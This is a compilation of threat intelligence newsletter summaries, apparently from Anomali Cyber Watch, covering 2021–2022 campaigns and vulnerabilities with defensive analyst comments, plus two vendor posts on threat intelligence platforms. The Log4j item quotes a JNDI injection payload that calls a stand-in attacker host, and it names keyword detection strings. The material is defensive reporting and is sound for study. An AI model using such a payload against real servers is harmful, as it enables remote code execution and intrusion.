The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity. Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence What’s With The Shared VBA Code Between Transparent Tribe And Other Threat Actors? (published: February 9, 2022) A recent discovery has been made that links malicious VBA macro code between multiple groups, namely: Transparent Tribe, Donot Team, SideCopy, Operation Hangover, and SideWinder. These groups operate (or operated) out of South Asia and use a variety of techniques with phishing emails and maldocs to target government and military entities within India and Pakistan. The code is similar enough that it suggests cooperation between APT groups, despite having completely different goals/targets. Analyst Comment: This research shows that APT groups are sharing TTPs to assist each other, regardless of motive or target. Files that request content be enabled to properly view the document are often signs of a phishing attack. If such a file is sent to you via a known and trusted sender, that individual should be contacted to verify the authenticity of the attachment prior to opening. Thus, any such file attachment sent by unknown senders should be viewed with the utmost scrutiny, and the attachments should be avoided and properly reported to appropriate personnel.

The site, "windows-upgraded[.]com", is a direct copy of a legitimate Microsoft upgrade portal. Clicking the 'Upgrade Now' button downloads a 734MB ZIP file which contains an excess of dead code; more than likely this is to increase the filesize for bypassing any antivirus scan. RedLine is a well-known infostealer, capable of taking screenshots, using C2 communications, keylogging and more. Analyst Comment: Any official Windows update or installation files will be downloaded through the operating system directly. If offline updates are necessary, only go through Microsoft sites and subdomains. Never update Windows from a third-party site due to this type of attack.

The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity. Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence Windows Vulnerability With New Public Exploits Lets You Become Admin (published: January 29, 2022) A new vulnerability, tracked as CVE-2022-21882 was discovered by researcher RyeLv in early January 2022. The exploit is a bypass to a previous vulnerability, CVE-2021-1732, and affects all Windows 10 machines that have not applied January’s Patch Tuesday patch. This vulnerability is a privilege escalation exploit, which grants administrator level privileges and allows for the creation of new admin accounts, as well as lateral movement. The exploit abuses a flaw in the manner in which the kernel handles callbacks, changing the flag ConsoleWindow. This will modify the window type, and tricks the system into thinking tagWND.WndExtra is an offset of the kernel desktop heap, thereby granting administrator level read and write access. Analyst Comment: Apply patches when they become available to keep your systems and assets protected from the latest attacks and vulnerabilities. This is essential when new vulnerabilities are discovered as threat actors will actively attempt to exploit them. A strong patch management policy combined with an effective asset management policy will assist you in keeping your assets up to date and protected.

The campaign imitates large known delivery brands such as DHL or the US postal service, and aims to abuse the trust these companies have associated with them to manipulate their targets into clicking malicious links or files. The most prominent tactic is to provide a link to a missed package, capitalizing on current global supply chain issues. Once clicked, TrickBot malware is delivered, though other campaigns are delivering as of yet non-attributed trojans. The malicious links in these campaigns are not particularly sophisticated, and are easily identified as false as they lead to domains outside the company they are targeting. Analyst Comment: Never click on attachments or links from untrustworthy sources, and verify with the legitimate sender the integrity of these emails. Treat any email that attempts to scare, coerce, provide a time limit or force you to click links or attachments with extreme suspicion.

Trending Cyber News and Threat Intelligence FBI Warns Of Malicious QR Codes Used To Steal Your Money (published: January 23, 2022) The Federal Bureau of Investigation (FBI) recently released a notice that malicious QR codes have been found in the wild. These codes, when scanned, will redirect the victim to a site where they are prompted to enter personal and payment details. The site will then harvest these credentials for cybercriminals to commit fraud and empty bank accounts. This threat vector has been seen in Germany as of December 2021. Analyst Comment: Always be sure to check that emails have been sent from a legitimate source, and that any financial details or method of payment is done through the website. While QR codes are useful and being used by businesses more often, it is easy for cybercriminals to perform this kind of scam. If scanning a physical QR code, ensure the code has not been replaced with a sticker placed on top of the original code. Check the final URL to make sure it is the intended site and looks authentic.

The malware patches existing UEFI drivers and resides in the SPI flash memory located on the motherboard. This means that it will persist even if the hard drive is replaced. Code snippets and IP addresses link the activity to APT41, a group that is operated by a group of Chinese-speaking individuals. MoonBounce is highly sophisticated and very difficult to detect. Analyst Comment: Systems should be configured to take advantage of Trusted Platform Module (TPM) hardware security chips to secure their systems' boot image and firmware, where available. Secure boot is also a viable option to mitigate against attacks that would patch, reconfigure, or flash existing UEFI firmware to implant malicious code.

The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity. Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence Earth Lusca Employs Sophisticated Infrastructure, Varied Tools and Techniques (published: January 17, 2022) The Earth Lusca threat group is part of the Winnti cluster. It is one of different Chinese groups that share aspects of their tactics, techniques, and procedures (TTPs) including the use of Winnti malware. Earth Lusca were active throughout 2021 committing both cyberespionage operations against government-connected organizations and financially-motivated intrusions targeting gambling and cryptocurrency-related sectors. For intrusion, the group tries different ways in including: spearphishing, watering hole attacks, and exploiting publicly facing servers. Cobalt Strike is one of the group’s preferred post-exploitation tools. It is followed by the use of the BioPass RAT, the Doraemon backdoor, the FunnySwitch backdoor, ShadowPad, and Winnti. The group employs two separate infrastructure clusters, first one is rented Vultr VPS servers used for command-and-control (C2), second one is compromised web servers used to scan for vulnerabilities, tunnel traffic, and Cobalt Strike C2. Analyst Comment: Earth Lusca often relies on tried-and-true techniques that can be stopped by security best practices, such as avoiding clicking on suspicious email/website links and or reacting on random banners urging to update important public-facing applications. Don’t be tricked to download Adobe Flash update, it was discontinued at the end of December 2020. Administrators should keep their important public-facing applications (such as Microsoft Exchange and Oracle GlassFish Server) updated.

These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence Attack Misuses Google Docs Comments to Spew Out “Massive Wave” of Malicious Links (published: January 7, 2022) Security researchers have seen a very large number of attacks leveraging the comment features of Google Docs to send emails to users containing malicious content. The attackers can create a document, sheet, or slides and add comments tagging any user's email address. Google then sends an email to the tagged user account. These emails come from Google itself and are more likely to be trusted than some other phishing avenues. Analyst Comment: Phishing education can often help users identify and prevent phishing attacks. Specific to this attack method, users should verify that any unsolicited comments that are received come from the user indicated, and if unsure, reach out separately to the user that appears to have sent the comment to verify that it is real. Links in email should be treated with caution.

The company has said in a statement that many of the affected sites were preemptively shut down to protect user's data, that there is no evidence of that data was breached (although they did not confirm that they had the needed telemetry in place to detect that), and that most of the sites and services have been restored. Analyst Comment: Verified backup and disaster recovery processes are an important aspect of protecting organizations and allowing for remediation of successful attacks. Monitoring and telemetry can aid in detection and prevention from attacks, and provide evidence as to whether data has been exfiltrated.

The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity. Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence Fintech Firm Hit by Log4j Hack Refuses to Pay $5 Million Ransom (published: December 29, 2021) The Vietnamese crypto trading, ONUS, was breached by unknown threat actor(s) by exploiting the Log4Shell (CVE-2021-44228) vulnerability between December 11 and 13. The exploited target was an AWS server running Cyclos, which is a point-of-sale software provider, and the server was only intended for sandbox purposes. Actors were then able to steal information via the misconfigured AWS S3 buckets containing information on approximately two million customers. Threat actors then attempted to extort five million dollars (USD). Analyst Comment: Although Cyclos issued a warning to patch on December 13, the threat actors had already gained illicit access. Even though Log4Shell provided initial access to the compromised server, it was the misconfigured buckets the actors took advantage of to steal data. MITRE ATT&CK: [MITRE ATT&CK] Exploitation for Client Execution - T1203 Tags: ONUS, Log4Shell, CVE-2021-44228, Strategically Aged Domain Detection: Capture APT Attacks With DNS Traffic Trends (published: December 29, 2021) Palo Alto Networks Unit42 researchers have published a report based on their tracking of strategically-aged malicious domains (registered but not used until a specific time) and their domain generation algorithm (DGA) created subdomains. Researchers found two Pegasus spyware command and control domains that were registered in 2019 and were not active until July 2021. A phishing campaign using DGA subdomains that were similar to those used during the SolarWinds supply chain attack was also identified. Analyst Comment: Monitor your networks for abnormal DNS requests, and have bandwidth limitations in place, if possible, to prevent numerous connections to DGA domains. Knowing which DGAs are most active in the wild will allow you to build a proactive defense by detecting any DGA that is in use. Anomali can detect DGA algorithms used by malware to assist in defending against these types of threats.

The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity. Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence A Deep Dive into DoubleFeature, Equation Group’s Post-Exploitation Dashboard (published: December 27, 2021) Check Point researchers have published their findings on the Equation Group’s post-exploitation framework DanderSpritz — a major part of the “Lost in Translation” leak — with a focus on its DoubleFeature logging tool. DoubleFeature (similar to other Equation Group tools) employs several techniques to make forensic analysis difficult: function names are not passed explicitly, but instead a checksum of it; strings used in DoubleFeature are decrypted on-demand per function and they are re-encrypted once function execution completes. DoubleFeature also supports additional obfuscation methods, such as a simple substitution cipher and a stream cipher. In its information gathering DoubleFeature can monitor multiple additional plugins including: KillSuit (also known as KiSu and GrayFish) plugin that is running other plugins, providing a framework for persistence and evasion, MistyVeal (MV) implant verifying that the targeted system is indeed an authentic victim, StraitBizarre (SBZ) cross-platform implant, and UnitedRake remote access tool (UR, EquationDrug). Analyst Comment: It is important to study Equation Group’s frameworks because some of the leaked exploits were seen exploited by other threat actors. Defense-in-depth (layering of security mechanisms, redundancy, fail-safe defense processes) is the best way to ensure safety from APTs, including a focus on both network and host-based security. Prevention and detection capabilities should also be in place.

Historically, Phorpiex utilized sextortion, ransomware delivery, and cryptocurrency clipping. Twizt however, appears to be primarily focused on stealing cryptocurrency and have stolen half a million dollars since November 2020 in the form of Bitcoin, Ether and ERC20 tokens.The botnet features departure from it’s traditional command and control (C2) infrastructure, opting for peer-to-peer (P2P) communications between infected hosts, eliminating the need for C2 communication as each host can fulfill that role. Analyst Comment: Bots within a P2P network need to communicate regularly with other bots to receive and share commands. If the infected bots are on a private network, private IP addresses will be used. Therefore, careful monitoring of network traffic will reveal suspicious activity, and a spike in network resource usage as opposed to the detection of C2 IP addresses.

The IOCs related to these stories are attached to Anomali Cyber Watch and can be used to check your logs for potential malicious activity. Figure 1 - IOC Summary Charts. These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence Countless Servers Are Vulnerable to Apache Log4j Zero-Day Exploit (published: December 10, 2021) A critical vulnerability, registered as CVE-2021-44228, has been identified in Apache Log4j 2, which is an open source Java package used to enable logging in. The Apache Software Foundation (ASF) rates the vulnerability as a 10 on the common vulnerability scoring system (CVSS) scale. Cisco Talos has observed malicious activity related to CVE-2021-44228 beginning on December 2, 2021. This vulnerability affects millions of users and exploitation proof-of-concept code exists via LunaSec explains how to exploit it in five simple steps. These include: 1: Data from the User gets sent to the server (via any protocol). 2: The server logs the data in the request, containing the malicious payload: ${jndi:ldap://attacker.com/a} (where attacker.com is an attacker controlled server). 3: The Log4j vulnerability is triggered by this payload and the server makes a request to attacker.com via "Java Naming and Directory Interface" (JNDI). 4: This response contains a path to a remote Java class file (ex. http://second-stage.attacker.com/Exploit.class) which is injected into the server process. 5: This injected payload triggers a second stage, and allows an attacker to execute arbitrary code. Analyst Comment: Log4j version 2.15.0 has been released to address this vulnerability, however, it only changes a default setting (log4j2.formatMsgNoLookups) from false to true. This means that if the setting is set back to false, Log4j will again be vulnerable to exploitation. The initial campaigns could have been detected by filtering on certain keywords such as "ldap", "jndi", but this detection method is easily bypassable.

These charts summarize the IOCs attached to this magazine and provide a glimpse of the threats discussed. Trending Cyber News and Threat Intelligence New Malware Hides as Legit Nginx Process on E-Commerce Servers (published: December 2, 2021) Researchers at Sansec discovered NginRAT, a new malware variant that has been found on servers in the US, Germany, and France. Put in place to intercept credit card payments, this malware impersonates legitimate nginx processes which makes it very difficult to detect. NginRAT has shown up on systems that were previously infected with CronRAT, a trojan that schedules processes to run on invalid calendar days. This is used as a persistence technique to ensure that even if a malicious process is killed, the malware has a way to re-infect the system. Analyst Comment: Threat actors are always adapting to the security environment to remain effective. New techniques can still be spotted with behavioural analysis defenses and social engineering training. Ensure that your company's firewall blocks all entry points for unauthorized users, and maintain records of how normal traffic appears on your network. Therefore, it will be easier to spot unusual traffic and connections to and from your network to potentially identify malicious activity. MITRE ATT&CK: [MITRE ATT&CK] Obfuscated Files or Information - T1027 | [MITRE ATT&CK] Shared Modules - T1129 Tags: NginRAT, CronRAT, Nginx, North America, EU How Phishing Kits Are Enabling A New Legion Of Pro Phishers (published: December 2, 2021) Phishing kits, such as XBALTI are seeing increased use against financial institutions. Mixing email with SMS messages, attackers are targeting companies such as Charles Schwab, J.P. Morgan Chase, RBC Royal Bank and Wells Fargo. Victims are targeted and asked to verify account details. The attack is made to appear legitimate by redirecting to the real sites after information has been harvested. Analyst Comment: With financial transactions increasing around this time of year, it is likely financially themed malspam and phishing emails will be a commonly used tactic. Therefore, it is crucial that your employees are aware of their financial institution's policies regarding electronic communication. If a user is concerned due to the scare tactics often used in such emails, they should contact their financial institution via legitimate email or another form of communication. Requests to open a document in a sense of urgency and poor grammar are often indicative of malspam or phishing attacks. Said emails should be properly avoided and reported to the appropriate personnel.

Trending Cyber News and Threat Intelligence Micropatching Unpatched Local Privilege Escalation in Mobile Device Management Service (CVE-2021-24084 / 0day) (published: November 26, 2021) 0patch Team released free, unofficial patches to protect Windows 10 users from a local privilege escalation (LPE) zero-day vulnerability in the Mobile Device Management Service. The security flaw resides under the "Access work or school" settings, and it bypasses a patch released by Microsoft in February to address an information disclosure vulnerability tracked as CVE-2021-24084. Security researcher Abdelhamid Naceri discovered this month that the incompletely-patched flaw could also be exploited to gain admin privileges after publicly disclosing the newly-spotted bug in June. He also published a proof of concept (POC) for a related vulnerability in Windows 11. Analyst Comment: Check if your Windows 10 version is affected and if so, apply the appropriate free micropatches. Plan to patch your Windows 11 systems when security patches become available. As actors now have a POC for the Windows 11 privilege escalation vulnerability, it is important to harden your systems to avoid the initial access.

By modifying the server-side code it bypasses browser-based security solutions. CronRAT actors engage in Magecart attacks achieving additional stealthiness thanks to the Linux Cron Job system. CronRAT code is compressed, Base64-encoded and hidden in the task names in the calendar subsystem of Linux servers (“cron”). To avoid system administrators’ attention and execution errors, those tasks are scheduled on a nonexistent day (such as February 31st). Other CronRAT stealthiness techniques are: anti-tampering checksums, being controlled via binary/obfuscated protocol, control server disguised as Dropbear SSH service, fileless execution, launching tandem RAT in a separate Linux subsystem, and timing modulation. Analyst Comment: Websites, much like personal workstations, require constant maintenance and upkeep in order to adapt to the latest threats. All external facing assets should be monitored and scanned for vulnerabilities. Threats like CronRAT make it critical that server software is kept up to date. The ability to easily restore from backup, incident response planning, and customer communication channels should all be established before a breach occurs. In addition, supply chain attacks are becoming more frequent amongst threat actors as their Tactics, Techniques, and Procedures (TTPs) evolve.

Trending Cyber News and Threat Intelligence Emotet malware is back and rebuilding its botnet via TrickBot (published: November 15, 2021) After Europol enforcement executed a takeover of the Emotet infrastructure in April 2021 and German law enforcement used this infrastructure to load a module triggering an uninstall of existing Emotet installs, new Emotet installs have been detected via initial infections with TrickBot. These campaigns and infrastructure appear to be rapidly proliferating. Once infected with Emotet, in addition to leveraging the infected device to send malspam, additional malware can be downloaded and installed on the victim device for various purposes, including ransomware. Researchers currently have not seen any spamming activity or any known malicious documents dropping Emotet malware besides from TrickBot. It is possible that Emotet is using Trickbot to rebuild its infrastructure and steal email chains it will use in future spam attacks. Analyst Comment: Phishing continues to be a preferred method for initial infection by many actors and malware families. End users should be cautious with email attachments and links, and organizations should have robust endpoint protections that are regularly updated. ***For Anomali ThreatStream Customers*** To assist in helping the community, especially with the online shopping season upon us, Anomali Threat Research has made available two, threat actor-focused dashboards: Mummy Spider and Wizard Spider, for Anomali ThreatStream customers.

Trending Cyber News and Threat Intelligence Harvester: Nation-State-Backed Group Uses New Toolset To Target Victims In South Asia (published: October 18, 2021) A new threat group dubbed ‘Harvester’ has been found attacking organizations in South Asia and Afghanistan using a custom toolset composed of both public and private malware. Given the nature of the targets, which include governments, IT and Telecom companies, combined with the information stealing campaign, there is a high likelihood that this group is Nation-State backed. The initial infection method is unknown, but victim machines are directed to a URL that checks for a local file (winser.dll). If it doesn’t exist, a redirect is performed for a VBS file to download and run; this downloads and installs the Graphon backdoor. The command and control (C2) uses legitimate Microsoft and CloudFront services to mask data exfiltration. Analyst Comment: Nation-state threat actors are continually evolving their tactics, techniques and tools to adapt and infiltrate victim governments and/or companies. Ensure that employees have a training policy that reflects education on only downloading programs or documents from known, trusted sources. It is also important to notify management and the proper IT department if you suspect malicous activity may be occurring.

This tool can generate specific domain names to help its users test whether an exploit is successful. It can be used by researchers - but also by attackers - to validate vulnerabilities via real-time monitoring on the trace path for the domain. Researchers creating a proof-of-concept (PoC) for an exploit can insert "Interactsh" to check whether the exploit is working, but the service could also be used to check if the PoC is working. The tool became publicly available on April 16, 2021, and the first attempts to abuse it were observed soon after, on April 18, 2021. Analyst Comment: As the landscape changes, researchers and attackers will often use the same tools in order to reach a goal. In this instance, Interact.sh can be used to show if an exploit will work. Dual-use tools are often under fire for being able to validate malicious code, with this being the latest example. If necessary, take precautions and block traffic with interact.sh attached to it within company networks.

Anomali.webp 2021-10-13 14:30:00 Climbing the Threat Intelligence Maturity Curve (lien direct) Creating a Successful Threat Intelligence Program Cyber threats are relentless and constantly evolving. Staying ahead requires advanced automation and a holistic threat intelligence program (TIP), which lead to a strategic advantage. There are three main pillars to help your organization advance up the maturity curve: people, process, and technology.  People: Identify stakeholders for reporting and feedback in mapping out a process that will effectively channel intelligence.  Process: Processes that take threat intelligence to a more strategic level must be developed and agreed upon cross-functionally. Technology: The technology used should deliver on the processes outlined to ensure it supports organizational goals.   Climbing the Threat Intel Maturity Curve While all organizations are at a unique level of development in their threat intelligence program, take general steps to determine where you are now and what is needed to evolve your program. Threat Data Collection Raw data collection is the beginning of any intelligence-gathering process. The relevancy of the data is critical, coming from external and internal sources, including open source and commercial threat intelligence feeds. External data may include reports on IoCs (e.g., ISACs, Dark Web, vendors, clients, etc.) relevant to organizational vulnerabilities. Internal data is just as necessary as it informs intelligence with business-specific threats. Even at the beginning stage of a program, feedback from internal teams that have experienced a security incident should inform threat intelligence feeds to ensure they are relevant to the business.   Threat Data Processing Processing or curating the data of relevant threats based on the complete environment is the next stage of development. Even when using only the most relevant sources for incoming data, the volume can be overwhelming, and automation is essential. Security tools can save analysts time by automatically weeding through the data for information that is actionable. Based on the organization's threat experience, well-targeted criteria will optimize this curation, enabling the automation to filter out the noise and produce practical intelligence.  Threat Intelligence Integration As threat intelligence is a shared resource essential to stakeholders in different business functions, integrating systems will enable more relevant reporting and a better flow of feedback to improve intelligence gathering. Having a solid configuration management database (CMDB) and vulnerability management program is fundamental to integrate systems and processes successfully. Forming a Digital Forensics Investigations team that runs intel feeds against the complete environment can add significantly to actionable cyber threat intelligence. Once the integration is complete and your organization operates based on the latest threat intelligence, threats can be identified and blocked quickly. In addition to a faster response, insights into the capabilities of threat actors can be gained to thwart attacks at an earlier stage and before they enter the network. Another advantage of comprehensive integration is the convergence of physical with logical security. A simple use case would be if someone badged into a facility and then got on the virtual private network (VPN). The system could raise a flag that an employee within the firewall should not need to access the VPN. The odd behavior could be due to a stolen badge or malicious cyber activity. Either way, it would trigger an alert.  Measuring Threat Intel Effectiveness Measuring effectiveness is a pillar of a matur Vulnerability Threat Guideline
Anomali.webp 2021-10-11 14:30:00 Selecting a Threat Intelligence Platform (TIP) (lien direct) Do You Need a TIP? Many organizations struggle with managing threat intelligence. There is too much data noise, reliance on manual processes that make it harder to correlate relevant intelligence, and difficulties in producing and distributing actionable reports to the right people.  Organizations turn to a Threat Intelligence Platform or TIP to help alleviate some of these problems. A TIP is like a nerve center that pulls raw data and intelligence from multiple sources into a central repository. Using automation, it sifts through and correlates that data to find relevant intelligence through curation, normalization, enrichment, and risk scoring. A TIP can create a feedback loop that integrates with existing security systems by analyzing and sharing relevant, actionable threat intelligence across an organization. Key benefits of a TIP are reducing time to detection, enabling collaboration, and producing actionable information for stakeholders. Top Considerations When Selecting a TIP Stakeholders The search for a TIP should begin with a clear understanding of the audience it will be serving. The most frequent users of a TIP are threat intelligence analysts, SOC analysts, cyber threat hunters, IR analysts, and CISOs, each with different needs and expectations they hope to garner from the TIP. For example, threat intelligence analysts can use the curated information to create adversary dossiers, while CISOs can execute on strategic goals and keep costs down through time saved by automation. Collaboration Collaboration and threat intelligence sharing between groups is a core benefit of a TIP.  In selecting a TIP, it is fundamental to understand organizational structure and how communications flow. Different teams should be able to share knowledge from anywhere at any time and with the ability to integrate the TIP into existing security systems. Choose your TIP based on the collaboration you require. Another factor in collaboration is the reporting capabilities of a TIP. Complete reports will be automated, including real-time alerts and summaries customized for different stakeholders and your specific industry. Data Aggregation and Curation within Context The ability of a TIP to ingest customized imports of data from internal and external sources is at the heart of its functionality. The flexibility of setting up customized data imports while also automatically pulling information from vendors or trusted third parties empowers security analysts to be more efficient. They will also have the ability to parse and index both structured (e.g., STIX/TAXII) and unstructured data (e.g., blogs, whitepapers, etc.). Another critical function of a TIP is curating the information it takes in. Optimizing curated data is vital when clarifying the context within your platform. Malicious actors that directly affect your industry and organization will get targeted using the intelligence produced by your TIP. Therefore, how you import vendor data and modify it to your organization’s specific needs is critical. Machine learning algorithms should sort the information and weigh the individual indicators of compromise (IoCs) based on context and user-defined scoring and relevance.   Vulnerabilities native to the organization are the other side of the context equation. A TIP needs to match high-scoring IoCs with "crown jewels" and other essential assets. Patching is utilized to protect the most critical infrastructure. Determining the vulnerability context upfront will help determine the feedback loop that a TIP needs to facilitate. Deployment Vulnerability Threat Patching

Trending Cyber News and Threat Intelligence Shutdown Kaseya VSA Servers Now Amidst Cascading REvil Attack Against MSPs, Clients (published: July 4, 2021) A severe ransomware attack reportedly took place against the popular remote monitoring and management (RMM) software tool Kaseya VSA. On July 2, 2021, Kaseya urged users to shut down their VSA servers to prevent them from being compromised. The company estimated that fewer than 40 of their customers worldwide were affected, but as some of them were managed service providers (MSPs), over 1,000 businesses were infected. The majority of known victims are in the US with some in Europe (Sweden) and New Zealand. The attackers exploited a zero-day vulnerability in Kaseya’s systems that the company was in the process of fixing. It was part of the administrative interface vulnerabilities in tools for system administration previously identified by Wietse Boonstra, a DIVD researcher. The REvil payload was delivered via Kaseya software using a custom dropper that dropped two files. A dropper opens an old but legitimate copy of Windows Defender (MsMpEng.exe) that then side loads and executes the custom malicious loader's export. The attack coincided with the start of the US Independence Day weekend, and has several politically-charged strings, such as “BlackLivesMatter” Windows registry key and “DTrump4ever” as a password. Analyst Comment: Kaseya VSA clients should safely follow the company’s recommendations as it advised shutting Kaseya VSA servers down, and is making new security updates available.

Malware loaders are malicious software that typically drop or pull down second-stage malware from command and control (C2) infrastructures. Analyst Comment: Malware as a Service (MaaS) is a relatively new development, which opens the doors of crime to anyone with the money to pay for access. A criminal organization that wants to carry out a malware attack on a target no longer requires in-house technical expertise or infrastructure. Such attacks in most cases share tactics, techniques, and even IOCs. This highlights the importance of intelligence sharing for proactive protection.

Trending Cyber News and Threat Intelligence NoxPlayer Supply-Chain Attack is Likely The Work of Gelsemium Hackers (published: June 14, 2021) ESET researchers have discovered malicious activity dating back to at least 2014 attributed to the Gelsemium cyberespionage group. The group targets electronics manufacturers, governments, religious entities in multiple countries throughout East Asia and the Middle East. Gelsemium demonstrated sophistication in their infection chain with extensive configurations, multiple implants at each stage, and modifying settings on-the-fly for delivering the final payload. The dropper, called Gelsemine, will drop a loader called Gelsenicine that will deliver the final payload, called Gelsevirine. Analyst Comment: Threat actors are always adapting to the security environment to remain effective. New techniques can still be spotted with behavioural analysis defenses and social engineering training. Ensure that your company's firewall blocks all entry points for unauthorized users, and maintain records of how normal traffic appears on your network. Therefore, it will be easier to spot unusual traffic and connections to and from your network to potentially identify malicious activity. Furthermore, ensure that your employees are educated about the risks of opening attachments, particularly from unknown senders and any attachment that requests macros be enabled.

The group was observed targeting “vulnerable internet-exposed devices such as web servers and management interfaces for networking equipment.” BackdoorDiplomacy’s objective is to access a system, use pentesting tools for lateral movement, and install a custom backdoor called “Turian,” which is based on the Quarian backdoor. Analyst Comment: It is important that your company has patch-maintenance policies in place, particularly if there are numerous internet-facing services your company uses or provides. Once a vulnerability has been reported on in open sources, threat actors will likely attempt to incorporate the exploitation of the vulnerability into their malicious operations. Patches should be reviewed and applied as soon as possible to prevent potential malicious activity. MITRE ATT&CK: Ransomware Malware Vulnerability Threat Uber

Trending Cyber News and Threat Intelligence TeamTNT Actively Enumerating Cloud Environments to Infiltrate Organizations (published: June 4, 2021) Researchers at Palo Alto have identified a malware repo belonging to TeamTNT, the prominent cloud focused threat group. The repo shows the expansion of TeamTNTs abilities, and includes scripts for scraping SSH keys, AWS IAM credentials and searching for config files that contain credentials. In addition to AWS credentials, TeamTNT are now also searching for Google Cloud credentials, which is the first instance of the group expanding to GCP. Analyst Comment: Any internal only cloud assets & SSH/Privileged access for customer facing cloud infrastructure should only be accessible via company VPN. This ensures attackers don’t get any admin access from over the internet even if keys or credentials are compromised. Customers should monitor compromised credentials in public leaks & reset the passwords immediately for those accounts.

Trending Cyber News and Threat Intelligence Air India passenger data breach reveals SITA hack worse than first thought (published: May 23, 2021) Adding to the growing body of knowledge related to the March 2021 breach of SITA, a multinational information technology company providing IT and telecommunication services to the air transport industry, Air India announced over the weekend that the personal information of 4.5 million customers was compromised. According to the airline, the stolen information included passengers’ name, credit card details, date of birth, contact information, passport information, ticket information, Star Alliance and Air India frequent flyer data. The compromise included data for passengers who registered with Indian Airlines between 26 August 2011 and 3 February 2021; nearly a decade. Air India adds to the growing list of SITA clients impacted by their data breach, including Malaysia Airlines, Finnair, Singapore Airlines, Jeju Air, Cathay Pacific, Air New Zealand, and Lufthansa. Analyst Comment: Unfortunately, breaches like this are commonplace. While customers have no control over their information being included in such a breach, they can and should take appropriate actions once notified they may be impacted, Those actions can include changing passwords and credit cards associated with the breached accounts, engaging with credit reporting agencies for enhanced credit monitoring or freezing of credit inquiries without permission, and reaching out to companies that have reportedly been breached to learn what protections they may be offering their clients. Tags: Data Breach, Airline, PII BazarCall: Call Centers Help Spread BazarLoader Malware (published: May 19, 2021) Researchers from PaloAlto’s Unit42 released a breakdown of a new infection method for the BazarLoader malware. Once installed, BazarLoader provides backdoor access to an infected Windows host which criminals can use to scan the environment, send follow-up malware, and exploit other vulnerable hosts on the network. In early February 2021, researchers began to report a “call center” method of distributing BazarLoader. Actors would send phishing emails with trial subscription-based themes encouraging victims to phone a number to unsubscribe. If a victim called, the actor would answer the phone and direct the victim through a process to infect the computer with BazarLoader. Analysts dubbed this method of infection “BazarCall.” Analyst Comment: This exemplifies social engineering tactics threat actors employ to trick users into installing malware on their machines. All social media users should be cautious when accepting unknown requests to connect, and particularly cautious when receiving communication from unknown users.

Trending Cyber News and Threat Intelligence Cross-Browser Tracking Vulnerability Tracks You Via Installed Apps (published: May 14, 2021) A new method of fingerprinting users has been developed using any browser. Using URL schemes, certain applications can be launched from the browser. With this knowledge, an attacker can flood a client with multiple URL schemes to determine installed applications and create a fingerprint. Google Chrome has certain protections against this attack, but a workaround exists when using the built-in PDF viewer; this resets a flag used for flood protection. The only known protection against scheme flooding is to use browsers across multiple devices. Analyst Comment: It is critical that the latest security patches be applied as soon as possible to the web browser used by your company. Vulnerabilities are discovered relatively frequently, and it is paramount to install the security patches because the vulnerabilities are often posted to open sources where any malicious actor could attempt to mimic the techniques that are described. Tags: Scheme Flooding, Vulnerability, Chrome, Firefox, Edge Threat Actors Use MSBuild to Deliver RATs Filelessly (published: May 13, 2021) Anomali Threat Research have identified a campaign in which threat actors are using MSBuild project files to deliver malware. The project files contain a payload, either Remcos RAT, RedLine, or QuasarRAT, with shellcode used to inject that payload into memory. Using this technique the malware is delivered filelessly, allowing the malware to evade detection. Analyst Comment: Threat actors are always looking for new ways to evade detection. Users should make use of a runtime protection solution that can detect memory based attacks.

Trending Cyber News and Threat Intelligence Python Also Impacted by Critical IP Address Validation Vulnerability (published: May 1, 2021) Researchers have recently discovered that a bug previously discovered in netmask (a tool to assist with IP address scoping) is also present in recent versions of Python 3. The bug involves the handling of leading zeroes in decimal represented IP addresses. Instead of interpreting these as octal notation as specified in the standard, the python ipaddress library strips these and interprets the initial zero and interprets the rest as a decimal. This could allow unauthenticated remote attackers to perform a number of attacks against programs that rely on python's stdlib ipdaddress library, including Server-Side Request Forgery (SSRF), Remote File Inclusion (RFI), and Local File Inclusion (LFI). Analyst Comment: Best practices for developers include input validation and sanitization, which in this case would avoid this bug by validating or rejecting IP addresses. Additionally regular patch and update schedules will allow for rapid addressing of bugs as they are discovered and patches delivered. Proper network monitoring and policies are also an important part of protecting against these types of attacks. Tags: CVE-2021-29921, python Codecov Begins Notifying Affected Customers, Discloses IOCs (published: April 30, 2021) Codecov has disclosed multiple IP addresses as IOCs that were used by the threat actors to collect sensitive information (environment variables) from the affected customers. The company disclosed a supply-chain breach on April 15, 2021, and has now begun notifying customers. The breach went undiscovered for 2 months, and leveraged the Codecov Bash Uploader scripts used by a large number of projects. Analyst Comment: In light of the increasing frequency and sophistication of supply chain attacks, companies should carefully audit, examine, and include in their threat modelling means of mitigating and detecting third party compromises.

